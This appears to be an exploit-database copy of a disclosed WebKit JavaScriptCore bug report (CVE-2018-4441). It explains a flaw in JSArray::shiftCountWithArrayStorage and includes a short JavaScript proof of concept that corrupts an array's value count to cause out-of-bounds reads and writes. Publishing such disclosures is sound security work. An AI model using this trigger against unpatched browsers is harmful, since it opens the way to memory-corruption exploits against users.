WebKit JSC JSArray::shiftCountWithArrayStorage Out-Of-Band Read / Write

EKU-ID: 8261 CVE: 2018-4441 OSVDB-ID:
Author: lokihardt Published: 2018-12-29 Verified: Verified



WebKit: JSC: A bug in JSArray::shiftCountWithArrayStorage 


bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
    unsigned oldLength = storage->length();
    RELEASE_ASSERT(count <= oldLength);
    // If the array contains holes or is otherwise in an abnormal state,
    // use the generic algorithm in ArrayPrototype.
    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
        || hasSparseMap() 
        || shouldUseSlowPut(indexingType())) {
        return false;

    if (!oldLength)
        return true;
    unsigned length = oldLength - count;
    storage->m_numValuesInVector -= count;

Considering the comment, I think the method is supposed to prevent an array with holes from going through to the code "storage->m_numValuesInVector -= count". But that kind of arrays actually can get there by only having the holesMustForwardToPrototype method return false. Unless the array has any indexed accessors on it or Proxy objects in the prototype chain, the method will just return false. So "storage->m_numValuesInVector" can be controlled by the user.

In the PoC, it changes m_numValuesInVector to 0xfffffff0 that equals to the new length, making the hasHoles method return true, leading to OOB reads/writes in the JSArray::unshiftCountWithArrayStorage method.

function main() {
    let arr = [1];

    arr.length = 0x100000;
    arr.splice(0, 0x11);

    arr.length = 0xfffffff0;
    arr.splice(0xfffffff0, 0, 1);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Found by: lokihardt